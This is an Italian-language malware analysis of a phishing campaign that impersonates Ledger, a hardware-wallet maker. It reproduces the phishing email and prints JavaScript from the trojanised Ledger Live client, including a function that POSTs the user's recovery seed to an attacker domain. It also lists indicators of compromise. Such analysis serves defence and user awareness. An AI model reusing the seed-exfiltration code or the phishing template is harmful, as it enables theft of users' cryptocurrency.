Dissezionare l'email phishing di Ledger

I tentativi di phishing e di attacchi di ingegneria sociale sono aumentati esponenzialmente nell’ultimo periodo, specialmente nei confronti di utenti che hanno o sono in relazione con il mondo delle criptovalute. Recentemente, si sta molto discutendo riguardo un tentativo ben fatto di alcuni phisher a danni dell’azienda Ledger e dei loro utenti.

In questo articolo, andremo ad analizzare l’email e i binari dannosi, fornendo diversi punti di vista sull’accaduto. In ogni caso, tieni sempre a mente questo: non condividere mai il seed o chiavi private del tuo wallet!

Partiamo dall’inizio

Prima di procedere ad un analisi più approfondita della situazione, è giusto introdurre al lettore l’azienda Ledger e il suo bacino di utenza. Ledger è un’azienda fondata nel 2014 da 8 esperti nel settore del hardware embedded, cryptography e business con un’unica idea: realizzare soluzioni sicure per gestire fondi attraverso la tecnologia blockchain.

Prodotti di spicco di quest’azienda sono i Ledger Nano1, particolari hardware wallet che integrano al loro interno elementi sicuri per amministrare wallet per più cryptocurrency. Un hardware wallet è definito come un particolare tipo di wallet le cui informazioni (le chiavi private) sono memorizzate dentro un supporto fisico esterno (spesso simile a un dispositivo USB) in maniera sicura.

Per poter scambiare, ricevere e mandare i fondi, il dispositivo viene collegato al laptop e attraverso un client, l’utente può gestire in maniera semplice e sicura i suoi fondi. Uno dei maggior vantaggi data da questa soluzione è che nessuna informazione in realtà lascia l’hardware. Le chiavi private (o in alternativa il seed) infatti vengono mantenute integre in elementi hardware “sicuri”.

Anatomia del Ledger

Tra le valute supportate dal Ledger Nano, troviamo Bitcoin, Ethereum, Monero e molti altre. Per poter inviare, ricevere e firmare le transazioni troviamo l’applicazione Ledger Live che si occuperà di fare l’intermediario tra l’utente e il portafoglio custodito nel dispositivo USB. L’hardware wallet si presenta come una buone soluzioni per chi cerca il giusto compromesso tra sicurezza e portabilità del portafoglio.

Utilizzati dalla maggior parte degli utenti che custodiscono un cospicuo fondo in cryptocurrencies, i Ledger Nano e più in generale gli hardware wallets sono presi di mira da parte dei criminali il cui obiettivo è quello di accedere al seed. Ledger investe cospicue somme di denaro nella sicurezza dei propri prodotti, cercando di escogitare modi sempre più complessi per mantenere sicuro le informazioni dei propri clienti. Tuttavia non sempre questo è sufficiente come vedremo nei prossimi paragrafi.

Dissezionando l’email di phishing

Phishing e-mail finta di Ledger

Dopo questa breve introduzione, arriviamo a cosa è successo domenica, di prima mattina: molti clienti di Ledger si trovano su “Posta in Arrivo” una e-mail preoccupante con l’oggetto “Your Ledger assets may be at risk”.

Il contenuto dell’email era il seguente:

From: support@ledgersupport.io Subject: Your Ledger assets may be at risk

Dear [name],
We are sorry to inform you that there has been a security breach affecting approximately 85,000 of our customers and that your e-mail address ([your email]) is within those affected by the breach.
Namely, on Friday, October 23rd 2020, our forensics team has found several of the Ledger Live administrative servers to be infected with malware.
In the current state of our knowledge, it is not technically possible to state the exact scope of the data leak. Due to that fact, we must assume that your cryptocurrency assets are at an immediate risk of theft.
If you’ve used Ledger Live at any point from November 2019 to the present date, please download the latest version of the client and follow the instructions to set up a new PIN for your wallet.
Sincerely,
Ledger

Download latest version

Phishing e-mail screenshot

In riassunto, l’email avvisa di un presunto tentativo di hacking nei server Ledger che potrebbe mettere a rischio i nostri fondi, ci invita pertanto ad impostare un nuovo PIN.

Andiamo ad analizzare più approfonditamente il contenuto e lo stile di questa comunicazione.

Focalizziamoci intanto sugli aspetti tecnici. Come si può osservare, l’email non è stata inviata da un dominio dell’azienda Ledger, bensì proviene da “ledgersupport.io”, un dominio creato ad-hoc un giorno prima dell’invio dell’email. Normalmente l’email di marketing vengono inviate da “noreply@ledger.com”: questa è la prima sottile red flag che dovrebbe instillare qualche dubbio sulla veridicità dell’email.

Gli headers dell’email inoltre sono molto interessanti: il servizio utilizzato per inviare le email di phishing è Sendgrid, quando in realtà Ledger utilizza Shopify, un popolare e-commerce, integrato con Iterable. Questa è la nostra seconda red flag. Un’ulteriore conferma arriva dai link “Unsubscribe”, “Open mail in browser” che sono tutti targati Sendgrid.net.

Un’altra curiosità sempre riguardo le email è il fatto che le prime e-mail alcuni provider le hanno marchiate subito come spam. Se vi chiedete come, è presto detto. Ogni e-mail ha un punteggio assegnato in base a parametri tecnici (firme false, parole in blacklist): se il punteggio è troppo basso, viene marcata come spam.

Spesso la tecnica utilizzata per realizzare email di phishing è lo spoofing, ovvero falsificando il sender, dare l’impressione che l’email sia stata inviata dal server originale. L’header DKIM è un particolare header che permette di verificare l’autenticità del messaggio inviato, ovvero la conferma che il messaggio arrivi da tale dominio. L’header per il DKIM è essenzialmente composto da una firma unica per messaggio e il dominio. Se la verifica sul messaggio fallisce, l’email provider dovrebbe già cestinare l’email marcandola come spam.

Email ledger

Ritornando al corpo dell’email, una terza red-flag è data dal contenuto: se da una parte potrebbe essere vero il fatto che nei server abbiano trovato malware, dall’altra parte è certo che i tuoi fondi non sono in pericolo. Il Ledger memorizza la chiave privata (la rappresentazione numerica del seed) in un elemento hardware considerato sicuro. Puoi stare certo che fincé non condividi il tuo seed o scarichi qualcosa di malevolo i tuoi fondi sono al sicuro e nessuno può toccarli.

D’altra parte, però ci sono multipli aspetti che confermerebbero la fondatezza dell’email. In primis,lo stile grafico della e-mail è identico in tutto per tutto ad un’email ufficiale inviata da Ledger.

Il contenuto dell’email è ben scritto in inglese formale e, riguardo alla grafica e all’interfaccia, somiglia molto ad un’email originale da parte di Ledger. L’email, inoltre, si rivolge all’utente chiamandolo per nome: ciò costituisce un elemento molto importante per l’utente dato che conferma ulteriormente il fatto che il sender dell’email sia Ledger stesso, cioè chi detiene i dati PII.

Marcata da un bottone con sfondo (#41ccb4) che richiama molto lo stile del sito web ufficiale, la Call-To-Action invita a scaricare l’ultima versione di Legder live da un server non ufficiale per poter reimpostare il pin.

La CTA era molto interessante, cliccando infatti l’utente si porta su link.supportledger.io/ls/click?=id dove l’id era univoco per ogni email inviata (molto probabilmente è stato concepito a scopo di tracciamento). Il link mandava al dominio “hxxps:// xn–ledgr-9za.com” (nota: xn--ledgr-9za.com) dove l’utente era invitato a scaricare l’ultima versione di Ledger Live.

Analisi del client malevolo

Il link ci porta alla pagina di download per scaricare la versione di Ledger live in modo da recuperare il wallet.

Ledger Live è l’applicazione sviluppata dall’omonima azienda che si occupa di gestire il portafoglio multi-assets: ricevere e inviare cryptocurrencies, ripristinare il portafoglio, scambiare Bitcoin con qualche altra cryptovalute e molto altro ancora. L’interfaccia ben disegnata e strutturata rende semplice l’utilizzo anche da utenti meno esperti.

Sotto il cofano, troviamo che l’applicazione Ledger Live è stata sviluppata con Electron, un framework multi piattaforma basato su Chrome e Node.js che consente lo sviluppo di interfaccie con Javascript. Desktop clients come Atom IDE, Github Desktop, Slack, Teams sono stati programmati utilizzando questo framework che richiede solo la conoscenza di Javascript e API di Node.js.

Tutte le applicazioni Electron-based oltre alle librerie di Chrome e al binario in sè, nella sotto-cartella resources rinveniamo il motore della nostra applicazione, ovvero i file Javascript che saranno eseguiti all’avvio del software.

Electron utilizza un packaging particolare per archiviare i file sorgenti dell’applicazione, chiamato asar. Asar è un semplice file di archivio che funziona in modo similare all’archivio TAR, concatenando i file assieme. È utile notare che né asar, né TAR integrano una compressione di base, elemento che fa risultare le applicazione costruite con Electron ancora più pesanti di quel che sembrano.

Se si vuole fare l’analisi del desktop client, dobbiamo iniziare con lo scompattamento dell’archivio asar. Installiamo l’utility asar da node.JS:

root@nodo#~: npm install -g asar

Avviamo l’estrazione del pacchetto:

root@nodo#~: asar extract app.asar destfolder 

Inizia così il nostro divertimento, troviamo innanzitutto due cartelle: .webpack, contenente il codice che andrà eseguito dalla nostra applicazione e node-modules, librerie di terze parti. Focalizziamoci intanto sulla cartella node-modules per eliminare un’ipotesi: un eventuale inquinamento di codici di terze parti.

Spesso gli attaccanti modificano le librerie di terze parti offuscando codice malevolo perché alcuni analisti di sicurezza danno per scontato che le librerie siano sicure. Un semplice diff tra la versione “malevola” e un semplice npm install ha negato il fatto che gli attaccanti avessero introdotto codice malevolo nelle librerie.

La nostra attenzione quindi si è spostata alla cartella .webpack: principalmente consta dei file Javascript buildati e di alcuni file risorse come immagini e file di stile. L’elemento fondamentale di questa cartella è il file main.js che contiene più di oltre 40.000 Lines of Code ed è il motore della nostra applicazione. Molto interessante!

Due sono le funzioni molto interessanti: Init_InitC e work. Init_InitC è una delle prime funzioni, metodi che vengono eseguiti dall’applicazione e si occupa di mostrare il menù iniziale all’avvio dell’applicazione.

Menù iniziale del Ledger modificato ad hoc

Il menù iniziale è composto da varie voci come “Inizializza un nuovo Ledger Device”, “Ripristino”, “Utilizza”. Notiamo subito che la funzione si connette a un dominio sicuramente non ufficiale https://loldevs.com (dominio creato il giorno precedente alla massiccia campagna di e-mail phishing.) Come è risultato a posteriori, il file check.php controlla dato l’IP del client se l’informazione è già stata acquisita.

    xmlHttp.open("GET", "https://loldevs.com/telemetry/check.php", false); 
    xmlHttp.send(null);
    console.log("Option crads request response: " + xmlHttp.responseText);

La variabile optionCards contiene le voci del menù di avvio.

if (xmlHttp.responseText.includes("unregistered")) {
  optionCards = [// {
  //   key: "newDevice",
  //   onClick: () => {
  //     jumpStep("selectDevice");
  //     flowType("newDevice");
  //   },
  // },
  {
    key: "restoreDevice",
    title: t("onboarding.init.restoreDevice.title"),
    onClick: () => {
      jumpStep("selectDevice");
      flowType("restoreDevice");
    }
  }, // {
  //   key: "initializedDevice",
  //  
  //     jumpStep("selectDevice");
  //     flowType("initializedDevice");
  //   },
  // },
  {
    key: "noDevice",
    onClick: () => {
      jumpStep("noDevice");
      flowType("noDevice");
    }
  }];
} 

Come è possibile notare dallo snippet qui sopra, se l’informazione non è stata ancora registrata (if (xmlHttp.responseText.includes("unregistered"))), le due uniche voci di menù che risulteranno saranno il “Ripristina dispositivo” e “Non hai ancora il dispositivo Ledger?” perché le altre voci sono state “commentate”. Ricordate il contenuto della e-mail? Il corpo dell’email di phishing suggeriva all’utente di reimpostare il seed e il pin del wallet. Ciò è stato implementato per potersi assicurare un’interazione dell’utente pressoché sicura sul “Ripristina dispostivo”.

Andiamo ad osservare la funzione restoreDevice. Dopo aver rilevato il dispositivo, l’applicazione chiama un’altra funzione dal nome WriteSeed che chiede all’utente il seed del wallet da ripristinare. Introduciamo al lettore il concetto di seed: è una rappresentazione della chiave privata del wallet tramite parole scelte da un dizionario.

L’implementazione di questa caratteristica è stata definita nel BIP 39 (Bitcoin Improvement Proposal). Una chiave privata può essere codificata in un seed, un gruppo di parole deterministiche volte a gestire più facilmente il backup di un portafoglio. Facciamo un esempio, tra 1abc3dte02sl7opn1a59sls e apple tree banana, quale tra i due risulterebbe più semplice da custodire?

Una chiave privata è sostanzialmente un numero X codificato in una certa base. Se ipotizziamo di trascrivere questo numero X (spesso molto elevato) in un foglietto, per varie ragioni in futuro potrebbe crearci dei problemi. Una cifra trascritta male o peggio la perdita di anche solo una cifra potrebbe far cambiare la chiave privata, e di conseguenza il nostro portafoglio. La soluzione è la rappresentazione delle chiave privata tramite una lista di parole. La lista di parole è stata composta con un certo criterio: a) bastino 4 lettere per identificare la parola (esempio: admi siamo sicuri che corrisponda ad admit - nel dizionario - e non a administrator); b) parole semplici e chiare (no coniugazioni, no plurali); c) parole ordinate in maniera alfabetica.

Ritornando al Ledger, l’elemento sicuro non conosce né la chiave privata né tanto meno il seed. L’unico modo per poterla ottenere dal punto di vista dell’attaccante la chiave privata o il seed è chiederlo direttamente all’utente. Come? Semplicemente cammuffando la richiesta come “legittima”.

var tmpjo = document.getElementById("words-input").value;  

if (window.wordsLenght !== undefined && window.wwn >= window.wordsLenght) {
  var finalWords = window.words + " " + tmpjo;
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://loldevs.com/telemetry/register.php', true);
  xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

  xhr.onload = function () {
    console.log(this.responseText);
  };

  xhr.send('tracking=' + finalWords);

Questa è la funzione work() ed è il cuore del codice modificato dagli attaccanti. È molto semplice da intuire il funzionamento: il campo words-input contenente le 24 parole del seed verranno inviate tramite una richiesta POST all’end-point https://loldevs.com/telemetry/register.php. In questo modo gli attaccanti otterranno il seed.

Prima regola d’oro: non condividere mai il tuo seed!

Da dove gli attaccanti hanno preso i dati?

Rispetto alla campagna di phishing “media”, questa è stata ben costruita: dall’email al dominio tutto era stato preparato quasi meticolosamente. Anche se in realtà qualche errore l’hanno commesso: sempre dall’analisi del client si notano una programmazione ridondante e non con qualche buco. Il codice non è stato offuscato e l’email contenevano ogni volta qualche errore diverso (tra header non esistenti e bottoni come immagini). Varie email sono state inviate e, al momento, sembra che la campagna di phishing non sia ancora terminata. Gli utenti sono stati presi di mira anche tramite SMS.

Molte persone si sono chieste come fosse possibile un simile data breach da parte di Ledger, una delle aziende leader nel mercato di hardware wallet che promise trasparenza e sicurezza.

Ripartiamo dall’introduzione, i prodotti di Ledger sono acquistabili attraverso un e-commerce sul dominio shop.ledger.com sviluppato tramite la popolare piattaforma Shopify. Per ottenere Ledger Nano, è necessario registrarsi come cliente fornendo dati sensibili (PII) come indirizzo, nome, cognome e molto altro.

Come specificato da un recente articolo dal titolo “Addressing the July 2020 e-commerce and marketing data breach” pubblicato sul blog, sembra che ad inizio luglio il database sia stato compromesso da terze parti non identificate. Ledger aveva già identificato le “poche” persone (circa 9.500) su cui il breach ha avuto un impatto e aveva provveduto ad inviare un’email per confermare il leak.

La causa del data breach è ancora sconosciuta ma sembra che il colpevole sia stato una misconfigurazione che ha permesso ad alcuni utenti l’accesso ad una chiave privata di API. I maggiori provider di e-commerce prevedono l’abilitazione di chiavi “API” per effettuare richieste al database interno per fini di marketing (per esempio la creazione di una newsletter). La chiave API che consentiva la manipolazione e l’osservazione le anagrafiche degli utenti è stata trafugata, permettendo la sottrazione di migliaia di e-mail, nomi e molto altro. Purtroppo l’azienda non ha fornito ulteriori elementi riguardo come la chiave sia stata trafugata.

Ironia della sorte, con un post pubblico “Our Ecommerce Database Has Not Been Hacked” la stessa azienda aveva negato il fatto di alcune “voci di corridoio” a Maggio che sembravano presagire l’incidente di Luglio.

Avere accesso al database di produzione dei dati degli utenti che hanno acquistato un prodotto Ledger significa potenzialmente ottenere nomi, indirizzi e-mail, indirizzi privati di moltissime persone. Dati del genere possono essere poi produttivi per chi voglia estorcere denaro.

Ledger ha rilasciato una dichiarazione secondo cui l’incidente di Luglio sembra essere sconnesso dalla recente campagna phishing.

Ledger tweet statement

In attesa di ulteriori aggiornamenti dell’azienda, secondo voi è corretto che un’azienda debba tenere i dati per così tanto tempo?

Fammi sapere la tua opinione riguardo questa vicenda su Twitter o inviami un’email.

IoC e dettagli utili

Domini:

  • ledgersupport.io (prima email inviata da questo indirizzo)
  • legder.com (diverse email inviate dopo)
  • xn--ledgr-9za.com (finta pagina di download)
  • loldevs.com (recettore del seed)

File malevoli :

  • Ledger Live for MacOS (ledger-live-desktop-2.15.0-mac.dmg): 1af3f4a139deef1054879aa754ffc71a63b3a1d1492ed4682c1526d37b3be3ff
  • Ledger Live for UniX (ledger-live-desktop-2.15.0-linux-x86_64.AppImage): SHA-256 82f0fbb88b972a9235370e7011303a4588c84cde8fa2a33ed6e24241af2e009b
  • Ledger Live for Windows (ledger-live-desktop-2.15.0-win.exe): 0b4578ea4ef643c06a38e28e32791366b72154c00e5dee4ca1a5504d6464de34

  1. Con Ledger Nano includiamo le due versioni di Ledger Nano S e Ledger Nano X. ↩︎